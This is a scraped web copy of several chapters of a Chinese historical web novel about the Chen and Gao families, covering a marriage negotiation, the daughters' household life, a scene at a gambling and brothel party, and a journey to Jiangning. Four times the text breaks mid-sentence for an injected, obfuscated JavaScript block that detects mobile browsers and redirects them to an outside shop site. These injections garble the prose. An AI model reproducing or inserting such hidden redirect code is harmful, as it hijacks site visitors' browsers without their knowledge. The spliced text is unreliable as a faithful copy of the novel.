对世人而言，他不是“高崇”，而是“高峻”。 看着面前的年轻人，陈二老爷目露惊异。 这位高家小辈，头戴黑绉纱飘巾，身披浅蓝直裰，乌靴丝带，仪容俊秀潇洒，俨然是个世家文秀公子。 高老指挥看着自家孙儿，脱下了箭袖袍，特特换上了一身簇新的书生衣衫，连脸色都比之前白了，惊了一跳，没注意被口水呛到：“咳咳……” 高昌脑子罕见地灵光，立即扔下羊毫笔，跑去给高老指挥捶背。 “这是我的孙儿，高峻。”高老指挥猛咳了一阵，推开高昌，向陈二老爷介绍，“这孩子虽生在我们武将之家，却酷爱读书，卫学里的先生常常夸他。” 高峻……陈二老爷默默念了一句，他记得高家的嫡长孙叫做高崇。 眼前这位年轻人，并不是要与陈家结亲的高家小辈。 “孩子，烦请二老爷再背一次方子，你来写吧。”高老指挥温声对自家孙儿说。 高崇应了声，再次向陈二老爷深施一礼，“有劳伯父了。” 这年轻人礼数周全，面容俊朗，陈二老爷不知不觉中生出了几分好感，摆了摆手，“贤侄，请。” 高崇先在笔洗中涮一涮羊毫笔，洗掉墨渍，然后提笔濡墨。听陈二老爷一字一字说出方子，走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405877|200505||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笔疾书，陈二老爷说完，他也已停笔。 “好字！” 陈二老爷忍不住拍掌叫了一声好，“贤侄这笔小楷是学的王羲之吗，秀美圆熟，真是好字。” 高崇恭敬回答：“小侄小楷临摹的王羲之，行书临的颜真卿。” 听得陈二老爷夸赞，高老指挥与有荣焉，“我这个孙儿，还有几分小聪明，只是归德卫文风比不得南直，江南文风荟萃，还请二老爷多多指点。” 不给陈二老爷推辞的机会，高崇抢先一揖到地。 “哪里，哪里，贤侄家世渊源……”陈二老爷目光触到高昌那几个字，突然顿住口。 高家大老爷早逝，只留下那位嫡长孙，这个叫做高峻的高家小辈想来必是高昌的儿子，虎父无犬子，这几个字，他实在无法说出口。 这分明是虎子无犬父。 陈二老爷只得强笑掩饰尴尬。 高昌猪肝色的大脸又蒙了层黑气。 “咱们是世袭武将，要的是骑马打仗，读书写字，费那功夫干啥！”高昌嘟囔。 陈二老爷不愿再与高昌起冲突，只呵呵笑了声。 “你闭嘴。”高老指挥呵斥高昌，向陈二老爷解释，“我这个孙儿虽然弓马枪刀……” 高崇生怕吓到了陈二老爷，连忙打断高老指挥，“小侄弓马平平，自幼只爱读书习礼，请伯父不要嫌弃。” 高老指挥立即闭了嘴。 高昌一双小眼瞪得溜圆，小崽子连这种亏心的话都说得出来，他还装上瘾了，真当自己是个文弱公子了！ 9. 第9章 写完了方子，陈二老爷与高老指挥一番恳谈，委婉暗示两家子女不宜结亲。高老指挥本想夸耀孙子，被陈二老爷堵得一个字说不出口。 高崇自始至终都对陈二老爷至恭至敬。 黄昏降临大地，迎晖阁点上灯火，陈二老爷不顾高老指挥挽留，起身告辞。 高崇早让人雇好了大船，直将陈二老爷送上船舱。 “这孩子……”陈二老爷颇为感动，“那样的父亲，竟能养出这样的孩子。” 陈二老爷回到陈家，将与高老指挥说的话，一一回想一遍，他已近乎乞求了，想来高家不会苦苦逼迫。 高家虽然几番登门，果然不再提起议亲之事。 陈家上下都放了心。 这日，陈家将后罩房拾掇好了，垒了大中小三个新锅台，将三间东房收拾得整洁干净，作了新厨房。 又雇了一个厨娘，一个做粗活的中年仆妇。厨娘带了个不到十岁的女孩，陈老太太心软，不忍她们母女分离，一块留下了。 如今，陈家一应家务，都不用陈家的姑娘、奶奶亲自动手了。 陈家大老爷一朝高中进士，陈家的日子霎时就好过多了。 厨房从老太太院子里挪到了后边的群房院，陈老太太命人将原来的房间糊上白纸，裱糊之后，顿成雪洞一样，光洁一新。 撕掉熏黄了的窗纸，糊上一层新的绿纱，窗里边装上高丽纸卷帘，门上悬上竹帘，房间更觉豁亮。 靠着窗户安上书案、茶几、凳子，置了绷架、绣绷、画案等，给家里姑娘们作了书房、绣房。 陈老太太不愿家里姐妹们闹别扭，这日二小姐德绢连笑带谑的将三小姐淑绘“请”到了绣房，三姊妹不管心里别扭不别扭，当着老太太的面，都叫了姐姐妹妹，亲亲热热的。 老太太满意点头，带着大太太、二太太去了厅里，她们还要商议家里的事。 家里的长辈们一走，三小姐淑绘脸上的笑立时就收了，扔了手里的书，看着窗外发呆。 二小姐德绢一愣。 陈婉紃拍了拍姐姐，轻轻摇了摇头，凑到她身边，看她手里的绣绷，绷子里的白绸上饱满的石榴绽着红宝石一般的籽。 “姐姐绣的真好。”陈婉紃真心赞叹。 妇德、妇言、妇容、妇工，女子四德，陈家以贤媛的标准养女儿，除了读书明理，女红上也不含糊。 漫说刺绣，连纺棉花、织布，都要学。 想起这些年的经历，陈婉紃一把辛酸泪，织布夹过手，刺绣裁剪更别提了，十个手指头哪个都扎过血窟窿。 为了少受些罪，她把四书五经背得滚瓜烂熟，不比堂兄差。手上绑着沙袋练字，一笔簪花小楷写得伯父都点了头。 终于在学会了养蚕、缫丝、纺纱、织布、缝纫、刺绣，即所谓妇工中的女红之后，借着痴迷读书写字画画的借口，将那些活计抛在脑后，能少做就少做。 到底陈家是簪缨书香之家，只要家里的女孩知道了女红之事，也就足够了。并不要她们真的整日纺线织布以作家用。 二小姐德绢却是心灵手巧，做得一手好女红，更兼她真心喜爱刺绣，绣作每每让陈婉紃叹赞。 听了四妹的夸奖，二小姐德绢柔柔一笑，伸指虚虚一点婉紃额头，“你呀，就是嘴甜。你答应给我的花样，什么时候画给我。” “好姐姐，现在就画。”陈婉紃笑嘻嘻点头，“你绣的扇套送妹妹一个呗，姑姑送的檀香扇，只有姐姐绣的扇套才配。” 端阳节日，嫁入江宁大族的姑姑遣人送节礼，其中给陈家三位姑娘一人一把泥金雕花檀香木扇，扇子极精致华贵，陈婉紃很是喜欢。 “好，好，好。”二小姐德绢从小都受不住四妹撒娇，自然一口应下。 一旁的三小姐淑绘，眼睫毛抖了抖。 陈婉紃向姐姐撒过了娇，走到旁边的画案，双眸扫过姐姐隆起的腹部，心中有了主意。拿起画笔画了起来。 二小姐德绢又绣了一会儿，站起身揉了揉肩颈，悄悄走到门口。 新来的小丫鬟，即厨娘的女儿，唤作双喜的，正好站在门口。 “二小姐，您有什么吩咐？”看到德绢招手，双喜眼睛一亮，快步走过去。 德绢小声吩咐了一通，“都记住了吗？” 双喜连连点头，小小声复述了一遍，一字不差，德绢忍不住在她头顶摩挲了一下，“不错。” 双喜一步一跳的去了德绢的房间。 德绢倚着门框静静等着。 很快，双喜手里捧着漂亮的丝绸样的东西，小心地走向德绢。 德绢从她手里接了过去，原来是两个扇套。 “三妹妹，”二小姐德绢先笑着招呼三小姐淑绘，“先别用功 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405878|200505||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了，过来，挑一个扇套。” 三小姐淑绘本想拿乔，但德绢手上的扇套着实雅致漂亮，她一看就爱上了，不舍得拒绝。 “好妹妹，在姐姐面前还害羞，快过来。再不过来，我就让四妹先挑选了。” 二小姐德绢比三小姐淑绘、四小姐婉紃大了好几岁，大小姐文缇出嫁不到两年即命丧夫家，二小姐德绢在家里便担起了实际的长姐的职责。 虽是堂姐，三小姐淑绘平日很亲近二小姐德绢。且她正与四小姐婉紃闹别扭，哪里能让婉紃争先，便半推半就的走到二小姐身边。 二小姐德绢手里托着两只扇套，一只湖绿色满纳流水花卉纹锦的，上面绣着折枝牡丹，牡丹花蕊用金线织就，雅致中透着华贵。 三小姐越看越喜欢，“我的扇坠儿正好是白玉坠儿，这只湖绿扇套正好相配。” 四小姐婉紃放下画笔，与二小姐目光一触，故意哼了一哼，“二姐，这只湖绿的我也喜欢。” 三小姐淑绘以为婉紃要与她争，再顾不得矜持，抢先将湖绿扇套抓到手里，“二姐，是我先选的。” 二小姐德绢摇头失笑，将手上剩下的另一只黑缎为底，用金银丝线平金绣福字纹，捧给了婉紃。 四小姐婉紃站起身双手接过，向二小姐道谢，“二姐姐，我很喜欢，我的那把扇子下边垂的是伽南香坠，与这只扇套更配。” 三小姐淑绘这才意识到又上了四小姐婉紃的当，气得剁了跺脚。 拿人手短，三小姐淑绘却是不能再对二小姐德绢冷脸的。 绣房里，一时只听这个叫二姐，那个也叫二姐，三小姐淑绘与四小姐婉紃虽还是互不理睬，房间里的气氛却是融洽多了。 初夏的柔软阳光，洒进绣房，女孩们嬉笑声中，只听得翻过书页的哗哗声，画笔落在宣纸上的沙沙声，绣花针穿过绸子轻轻的“噗”“噗”声。 良久，陈婉紃放下手中画笔，看向窗外，几片白如轻絮的云朵，在一碧如洗的天空中缓缓浮动。 这种不用做事，悠闲适意的闺阁生活，得赖于大伯父高中进士的庇护。 宣纸上跃然一串葡萄纹，连绵不绝的藤蔓上果实累累，象征子孙满堂、家族兴旺、长盛不衰，这应是二姐姐此时最喜欢的纹样，更是陈家上下都喜爱的纹样。 陈婉紃手托着腮，凝目窗外高空流云，出神地看着。 10. 第10章 入了暑，天气一日比一日热。 这日，陈二老爷应酬完回家，摘下方巾，脱了直裰，换上一身细白夏布衣裤，半躺在藤靠椅上，手上轻摇着白纸扇。 二老爷一进门，二太太就让人把浸在井水里的竹篮提了出来，篮子里的甜瓜浸得冰爽甘甜。 二太太递给二老爷一片，二老爷一口咬下去，清甜脆爽，生津解渴，不由赞了声，“好瓜，哪家瓜农挑来的？” “不是买的，东乡族人送来的。”二太太说道。 二老爷坐直了身子，“东乡族人？哪家？” 他们家原本在东乡有祖上传下的二百七十六亩肥田，但陈老太爷英年早逝，留下老太太带着三个未长成的儿女。 陈家是簪缨大族，外人不敢欺侮。可宗族人多，主支、庶支，同支亲族、远房族人，兴旺的、殷实的、败落的，对外都是陈家人，可实际上里面强凌弱，大欺小，恩怨纠缠。 他们家的那二百七十六亩肥田，就是被族中强横的族人霸占了去。 霸田的那家族人，颇有势力，陈家大老爷中举多年，那家族人都不放在眼里。然而，今年陈家大老爷高中进士的消息传来，那家终于慌了。 那家族人不敢亲自上门，转托族里轮到管事的房首，辗转求和。 被陈家大爷陈鹏一口回绝。 东乡一众族人安静了一段时间，昨儿又由族中颇有声望，曾在陈大老爷少年时帮过他的伯伯，遣了小辈，给陈老太太送土礼。 两篓河虾、两篓黄鳝，两篓桑葚、两篓枇杷，两篮腌得出油的咸鸭蛋、两篮白如雪的砂糖，一车甜瓜、一车西瓜…… 全是自家庄子里产的，没有金银珠宝、绫罗绸缎，送土礼的小辈恭恭敬敬，一口一个婶母，只说是孝敬婶母，旁的一字不说。 这个世道容不下孤家寡人，与那家人的仇，不能牵连到旁人身上。陈家老太太不管心里怎么想，面上是笑呵呵地收下了礼。 陈二老爷咽下口中的瓜，忆起儿时受到的欺凌，兀自愤愤。 “世态炎凉，以为是骨肉血亲，原来皆是势力小人。只见锦上添花，不见有人雪中送炭。” 二太太轻轻握住二老爷的手，无声地安慰他。 世道如此。 二老爷心情逐渐平静，叹了口气，“当日他们递话想要归还那两百多亩肥田，鹏儿一口回绝，做得好极了。” 说到侄儿，二老爷突然屈指数数，“过了这么多天了，按理，鹏儿早该到京城了，怎么一点消息没有送回来？” 陈鹏向来是个办事周到的孩子，明知家里长辈心情急迫，不可能忘了先传递消息回来。 二老爷与二太太对视一眼，二太太皱起了眉头，“这些天，高家虽没再提起亲事，可一直待在城里没有离开。老爷，高家老太爷的病还没好利索吗？” “不能啊。”二老爷这些日子常去给高老指挥诊脉，更换食疗方子，高老指挥虽然受过伤，瘸了腿，但他身子骨底子极好，病根早去了。 二老爷越想心里越不踏实，立时起身，换衣服要去高家探探信。 “天色不早了，赶到估计得黄昏了。”二太太看了看时辰，“要不明天再去吧。” “今儿就去。”二老爷坚持，“要不我这一夜都睡不着。” 二老爷坐船来到高家寓所，天色已暗，高家寓居的大花园，门口已挂上一对很大的官衔纱灯笼。 红纱灯笼上，写着“指挥使”三个字，每个字都有碗口一般大。 这时前来，礼数颇有些不周。二老爷踌躇片刻，已然来了，顾不得那么多了，命跟来的家仆上门递上帖子。 高家的门房，一见了帖子，不敢怠慢，连忙开了大门，将陈二老爷迎了进去。 不巧，这天高老指挥早早睡了，二爷出去办事还没有回来，高家门房遣了个小厮去禀报高昌。 过了许久，那小厮还没回来。 陈二老爷本来就担着心事，如此一来，更觉得不安。他本就不是个迂阔的人，当下事急从权，让人在前引路，他亲自去高昌的住处。 高家门房不敢劝阻，只得指了个小厮，点着一盏牛角灯笼，在前引路，引导着陈二老爷去高昌的住处。 高家寓居的这个大花园占地极大，夜色下乌沉沉的望也望不到边，高昌住的地方叫昼锦堂，是这个园子里的大客厅。 高老指挥住的迎晖阁和高崇住的竹深斋，都在花园后边，与昼锦堂离得很远，中间还隔着一个占地两三亩的水池子。 陈二老爷虽多次来拜访，却也是头一次到高昌住的昼锦堂，跟着引路的小厮，曲曲折折地走了好大一会儿，眼前骤然明亮。 只见昼锦堂堂内以及堂外花树上点着大大小小的灯笼，照耀得仿若白昼。 隔了一段距离，陈二老爷望见昼锦堂里人影瞳瞳，耳边还能听得见箫声以及女子的唱曲声。 陈二老爷不由得紧皱眉头，脚下步伐迈得更快。 昼锦堂本是个会客大厅，四周大敞，并无院墙，陈二老爷走到厅堂门口，守门的两个小厮才回过神，拦住陈二老爷。 “大大大。” “小小小。” 堂内掷色子聚赌的吆喝声，直冲陈二老爷的耳膜。 猜拳，掷色子，男女的调笑声，陈二老爷可以想想里面是怎样一个乌烟瘴气的世界 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405879|200505||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 陈二老爷心下厌恶，脸色一阵青一阵白，转身欲走。 不想，堂上悬挂的湘妃竹帘子被人从里面掀开，一个喝得醉醺醺的壮汉，敞着衣襟，大着舌头，“老兄来了怎么不进来，来，来，进来一块乐。” 这个醉汉以为陈二老爷也是来此寻欢的客人，不由分说将陈二老爷拽了进去。 满屋子污浊的酒气，熏得陈二老爷猛地眨眼，等他眯着眼睛终于适应，眼前的场面比他想的还要淫亵不堪。 聚赌的一众人，陈二老爷认出了几个，都是常州府有名的宦门旧族浪荡子弟。这些人红着眼，喷着酒气，或搂或抱着衣衫不整的妓女。 丑态简直不堪入目。 陈二老爷冷哼一声，挣开醉汉，还保有几分理智的纨绔，也觉出了不对，眼前这个满面怒气的方巾老爷，不像是他们的同类。 这些人中，没有看到高昌，陈二老爷却一分一秒都忍受不了，问都不愿问一句，甩袖就要离开。 却恰在这时，昼锦堂右边暗间，与大厅堂只用一层薄薄的落地隔扇隔开，突然一声凄厉的女声响起。 陈二老爷脚步一顿。 “臭婊子，不许动，给老子乖乖趴好。”喘吁吁谩骂的男声，陈二老爷很是熟悉。 “老爷，饶命，奴家的肉都要让您咬掉了，您轻点，奴家要疼死了。”里面女子哭着求饶。 陈二老爷再也无法待下去了。 他的面色难看至极。 最早来通报的小厮，缩在厅堂门口，不敢扰了自家老爷的兴致，一直没敢进去。此时见了陈二老爷的脸色，生怕惹出大篓子，大着胆子进了厅堂，隔着落地隔扇门口的纱幔通传，“老爷，陈府二老爷来了。” 高昌猛地拉开纱幔，陈二老爷猝不及防，看见里面女子胸口上鲜血淋漓。 陈二老爷一句禽兽压在舌底，死死忍着才没有骂出口，一眼都不愿再看高昌，转身就走。 走到高家寓所大门，陈二老爷脚步匆匆，差点与一个进门的人撞上。 那人眼疾身快，拧身错步，向后退开两步，“伯父？” 陈二老爷抬头一看，面前的年轻人长身玉立，一脸欣喜，躬身向他行礼。 陈二老爷伸手欲扶，突然想起眼前这个年轻人是高昌的儿子，嘴角一点笑容顿时消散，摆了摆手，径直离开。 高崇愕然地望着陈二老爷的背影，浮起不祥的预感，心头猛然下沉。 陈二老爷长长叹息，高家这个小辈很好，知书达理、温文俊伟。可再多的好处，只凭他爹是高昌，是招妓聚赌的高昌，一切都成了云烟。 他怎么……是高昌的儿子呢！ 11. 第11章 在高昌的昼锦堂看到的场面太过不堪，陈二老爷回去就气病了。 第二天中午，高昌带着帖子前来拜访，陈二老爷推说不在家，不肯见他。高昌悻悻而回。 对着母亲、妻儿，那日场景，陈二老爷一个字也说不出口，自个憋在心里难受。 京中大哥、侄儿，迟迟没有来信，高家的态度扑朔迷离。 陈二老爷这辈子都不想再见高昌，可推一次两次容易，总不能次次推脱，高家毕竟有恩于陈家。 “前些日子三妹遣人来送节礼，送来的书信上情殷意切，想要接母亲到江宁住一段日子。”陈二老爷思来想去，三十六计走为上策，便和二太太商议，“三妹夫在南京国子监任监丞，交游广阔，我想托他打听打听消息。先给三妹妹去一封信，过几日，我送母亲去江宁。” 二太太也觉得躲一躲更好。 夫妻二人想好说词，和老太太一提，老太太痛快点头，“把三丫头、四丫头也都带上，她们姑姑一向疼爱她们，她们还没去过江宁呢。” 二老爷、二太太自然满口答应。 大太太有些犹豫，但三小姐淑绘想去，大太太不忍让女儿失望，也同意了。 “绘儿，出门在外，脾气柔和些，不要与人争执。”大太太叮咛女儿，“娘其实不想让你去，你都定了亲，周家去求了你舅舅，商议嫁娶日期，想要尽快将你娶进门。我和你舅舅议了议，定亲瞒着你父亲，婚期断不能再瞒着你父亲了。等你父亲回来，娘就要将你嫁入周家了。” “娘，我不想嫁，我舍不得你。”三小姐淑绘脸一红，抱着母亲撒娇。 “女大当嫁，总要嫁出去的。”大太太也不舍得女儿，可总要嫁出去的。 二姐姐就不用离开家，这些日子发生的事让三小姐淑绘懂事了一些，她到底没有说出口。 “娘，你见过周家那个……”三小姐淑绘含羞问道，“他是个什么样的人？比哥哥如何？比二姊夫如何？” 少女的心思，一猜即知，最在乎的是未来夫婿容貌俊不俊。 大太太却喉间一哽。 陈家以诗礼传家自傲，不屑于夸耀容貌，可陈家不论儿子还是女儿，容貌都是一等一的出色。 大太太听说，大老爷、二老爷年少时，学署里每年春秋祭祀至圣先师，每每被县学教谕挑出来，让他们领跳佾舞。 太过久远的且不说，单说她生的这一儿两女，鹏儿自小被人夸俊美。她的文缇肤如雪、眸如星，端丽无双。就是绘儿，在陈家这辈姑娘里显不出来，可去了外面，那些夫人、太太，哪个不夸？ 二房的德绢、婉紃，生得都很美，尤其是婉紃，大太太瞧着快要赶得上她的文缇了。 至于德绢的夫婿萧肇，二老爷疼爱女儿，挑的女婿自然温文尔雅、一表人才。 可周家那个孩子，果然如淑绘舅舅所说，老实淳朴一字不差。大太太无论如何，说不出一个“俊”字。 “那是个淳实的好孩子，你将来过了门，必然不会受气。”大太太顾左右而言它。 三小姐淑绘到底是个书香世家小姐，陈家照着女子四德一板一眼养出的闺秀，纵然仗着大太太宠溺任性了些，能问一句已然羞怯得不得了，哪里能听出大太太话中的搪塞。 “娘。”三小姐淑绘红着脸扎进大太太怀里。 大太太抱紧仅剩的这个女儿，心中又是庆幸又是酸涩，生怕女儿接着问，她不小心说漏了话，急忙转了话题，“绘儿，娘答应了，你跟着祖母去江宁，见见你姑姑和表姊妹，散一散心。” “娘，你真好。”三小姐淑绘果然不再关注周家了。 …… 陈婉紃得知要去江宁姑姑家，很是兴奋。 这个世道，生为女子，让她切实的理解了前世女先烈秋瑾的一段说辞。 “足儿缠得小小的，头儿梳得光光的；花儿朵儿札的镶的戴的，绸儿缎儿滚的盘的穿的，粉儿白白、脂儿红红的搽抹着。一生只晓得依傍男子，穿的吃的全靠着男子。身儿是柔柔顺顺的媚着，气虐儿是闷闷的受着，泪珠儿是常常的滴着，生活儿是巴巴结结的做着。一世的囚徒，半生的牛马。”① 万幸，系统带她来的这个世道，不用缠足。不然，真是生不如死了。 能生在陈家，有这样疼爱她的父母，陈婉紃已然足够幸运。 可她到底有前世的记忆。 十多年的生命，绝大部分时间大门不出二门不迈，举目四望，只有一方小小的天空。如今得到这个能够出游的机会，陈婉紃止不住雀跃。 “爹爹，咱们怎么去江宁，是走水路还是走陆路？” 陈二老爷正在书房里收拾书籍，以备给江宁亲友作礼物，听得婉紃问话，呵呵笑起来，“紃儿，你知道咱们到江宁有多远吗？” 一旁帮忙的二太太和二小姐德绢，听得他们父女俩打机锋，停了手里的活，笑吟吟看着。 陈婉紃没有顺着二老爷的话回答，看到捧着一摞书蹦蹦跳跳进来的弟弟陈鹤，她眼珠一转，“小鹤儿，过来。” 陈鹤才九岁，平日里最喜欢缠着四姐，可四姐很忙，常常顾不上他。现在四姐叫他，小孩儿兴冲冲地跑过去，“四姐姐。” “小鹤儿，姐姐考考你，咱们姑姑在江宁，你说从咱们阳湖到江宁，路途有多远呀。” 陈鹤被问住了。 小男孩很爱面子，当着一家人丢脸，他不服气，“四姐姐，你又没教过我，我怎么会知道？” 陈婉紃拍掌，笑着看向二老爷，“爹爹，您瞧，没有学过走过，当然不知道，小鹤儿都知道这个道理。” “好，好，好，是爹爹的错。”二老爷朗声大笑，“爹爹现在就教你们看《路程图》。” 陈二老爷嗜书如命，不止是儒家四书五经、性理之书，于医书、农书、兵书甚至阴阳五行、星术占卜之类的杂学，都极有兴趣。 “‘四民分业，士农工商’，商人虽在四民中排在最末，但商人走南闯北、跋山涉水，见识广博，对各地水陆路线最为熟悉。”陈二老爷一面从书橱里取出一沓书籍，一面向妻儿解说，“有些豪商、儒商，或是为了方便世人外出经营，或是为了后世儿孙方便，将自己数十年的行商路线和旅途见闻汇集成册，名之曰路程图。” “这本叫《天下路程图引》，这本叫《天下水陆路程》，这本……”陈二老爷一本一本向妻儿展示，语气充满得意，“有的是我从书肆中购得，大部分却是从别人家的藏书楼抄出来的。祖辈一生心血，本是作为传家宝的，后世子孙不肖，或当或卖，落在外人手里。收藏之人得到之后，对商贾之事不感兴趣，也就束之高阁。” “得亏遇到爹爹，这些蒙尘珍珠才重见天日。”陈婉紃适时给二老爷捧场。 女儿如此捧场，二老爷更为得意，精心挑拣出一本，说：“这是我最新得到的，费了好一番功夫。纂者家族乃是豪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405880|200505||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 商大贾，有的族支是淮扬大盐商，有的族支在大同、宣府军镇与鞑靼、瓦剌互市。祖上出过皇妃，选过驸马，与皇家结亲而发迹的。他写的各地程图路线是最准确的，风土人情、山川险夷、名胜古迹，甚至物价贵贱、是否有盗匪，也一一记述。咱们看这本。” 二老爷将路程图平放在书案上，陈婉紃和陈鹤一左一右挨着二老爷，二太太和二小姐德绢主动站在后面。 陈婉紃在二老爷的指导下，在一卷二京至十三省水、陆路中，找到了常州府到南京的水陆路程图。 “爹爹，陆路不管是坐车还是坐轿，时间一长，都颠簸得难受，祖母怕是受不了。”陈婉紃轻轻一指水路图，“咱们还是走水路，坐船吧。” 二老爷欣然颔首。 “你看看走水路要多少天？” 陈婉紃轻声念道：“从常州府毗陵驿出发，沿着江南运河，行走六十里，到吕城驿。再行一百四十里到镇江府京口驿。从镇江过江，一百里走老龙潭，再走六十里，直到江宁龙江关。” “大约需要五到七天。” 二老爷呵呵笑，“我们按照十四天置备行囊。” 陈鹤不解，纳闷地问：“爹爹，四姐姐算的是五到七天，最多只需七天，就算多准备一两天，也不需要按照十四天置备行囊呀。” “天机不可泄露。”二老爷故作高深，“紃儿，读万卷书，行万里路，等你走完这段水路，到了江宁。看看是要按照七天置备行囊，还是按照十四天适宜，到时候好生向你弟弟解释解释。” 明知自家父亲故意卖关子，陈婉紃和弟弟相视苦笑，只能先忍住好奇心。 确定启程日期，路途行程，陈家便开始准备行囊，以及分送给江宁亲友的礼物，上上下下都忙了起来。 高家寓所，迎晖阁。 高老指挥到了第二天，知道了高昌聚赌招妓的丑态被陈府二老爷撞破，气得将高昌骂了个狗血喷头。 “留哥儿，”高老指挥安慰孙儿，“事情已经发生了，陈家二老爷是个明白人，想来不会对你生成见。” 高崇不语，坐在高老指挥对面，只捏得手指骨节格格作响，眼底深处一片墨黑。 “孩子，你放心。” 高老指挥咬了咬牙，从床下拖出一个铁叶包角的樟木箱，摸出钥匙打开，从里面拿出一封书信，递给高崇，“你看看这个。” 高崇接了过来，匆匆看了一遍，信是陈府大老爷从京城寄来来，没有多少字，但内容让人很是震撼。 “陈大老爷竟将那般重要的事，托付爷爷。” 高老指挥点了点头，苍老的双眼精光一闪，“陈大老爷不愧是位进士老爷，果毅刚方、杀伐决断。咱们高家给他办了这件事，两家只能拧成一股绳，合者两利、分者两害。孩子，你还愁什么？” “爷爷，这事……”高崇上辈子一直蒙在鼓里，这些事情，高老指挥上辈子一个字都没告诉他。 他万万没有想到上辈子世人眼中翩翩君子、理学大儒的陈大老爷，是如此……杀伐决断以至于不择手段的人，“我去一趟南京。” 高老指挥沉吟片刻，没有阻拦，“你离开这里也好，聚赌纳娼的名声总是不好听，你避开更好。咱家在南京的产业，爷爷也都交给你。你得听爷爷一句话，陈大老爷的事，你不要掺和。人老奸马老滑，那些老狐狸，个个都是老谋深算，吃人不吐骨头的狠角儿，咱们武臣玩不过他们。” 12. 第12章 整整坐了十天船，陈家的坐船终于在第十一天的清晨到了江宁龙江关。 卢家的管家带着两个仆役站在码头等候，船家下了锚，将船泊在岸边，水手搭稳跳板，又将篙撑在岸上，算是扶手。 陈二老爷带着男仆先走上岸。 “祖母，孙女儿先给您探探路。”三小姐淑绘急于表现，抢先踏上跳板，不想，脚下踏板晃晃荡荡，她浑身发抖，一步也不敢迈。 此时，河面上的船只越来越多，大多是官船、客船，再晚一会儿，粮船、货船也要停泊在这里。 码头上乱乱纷纷。 他们这艘船泊的位置最好，可下船速度慢得出奇。众人瞧得分明，这是官宦之家的女眷，慢慢的，越来越多的人看向这里。 陈老太太皱起了眉。 “双喜，把三小姐扶回船舱，”陈老太太吩咐了小丫鬟，接着嘱咐陈婉紃，“紃儿，你先过去，慢一点，注意安全。” 太阳已高高升起，烈阳灼灼。 “是，祖母。” 陈婉紃应了一声，走出船舱。看到她的装扮，老太太愣了愣。 上身穿一领淡绿夹纱衫，系一条葱白薄罗裙，头上却戴了一顶斗笠，低低的扣下来，遮挡住她的面容。 陈婉紃戴的这顶斗笠，比农人劳作时所戴的斗笠精致许多，是用细藤编制，边沿俱用皂绢包裹，既可以遮挡日头，又能遮住容貌。 不知是否是她多心，她在船舱等候时，就觉得有人在看她。她透过舱窗向外面看了一圈，只见左右密密泊着船，看不出什么异样。 可她的第六感分明感觉到有人看她。 陈婉紃是个谨慎人，脱下了身上的锦衣绣裙，换上一身家常衣裙。头上的首饰也拔了，重新绾了个低低的清水髻，只用一根簪子固定，最后戴上斗笠。 她踏上跳板，那道目光灼灼地落在身上，她忍不住环视四周，脚下的跳板忽闪忽闪荡了起来。 “紃儿，小心。”陈老太太看得心头一惊。 陈婉紃竭力忽视那种异样，抓住篙子，强迫自己将心神都投注在跳板上，一小步一小步，慢慢的、稳稳的，走到岸边。 走完跳板，她长舒一口气，坐进小轿，摘下斗笠，才发觉脸上、身上都出了一层薄汗。 她十分肯定，有人在看她。那目光似乎没有恶意，也没有让她觉出不适，却烈灼灼的，简直要把人烫伤了。 左侧那艘大船，船家鼓足勇气，小心翼翼地凑到船尾，“爷，天上日头越来越毒了，掌舵这份粗活，交给小的们吧……” 船家想破脑袋也想不明白，这位玉裹金装的贵胄公子，突然抽风要替他们掌舵。头上烈日当空，现在却又不声不响，倚着船舵发呆。 他话没说完，高崇冷冽的目光射了过去。 船家吓得闭了嘴。 高崇进了船舱，不一会儿，小厮走出来，给了船家一锭银子，“这是我家爷额外赏你的，泊岸吧。” 小厮刚转身，船家一口咬在银锭上，喜得眉花眼笑，这可是足足五两的细丝白银啊。 …… 陈家姑姑，即陈老太太唯一的女儿，也是最小的孩子，嫁的是江宁大族——卢家。 卢家亦是书香世族，早早遣了管家带两个男仆等在码头。 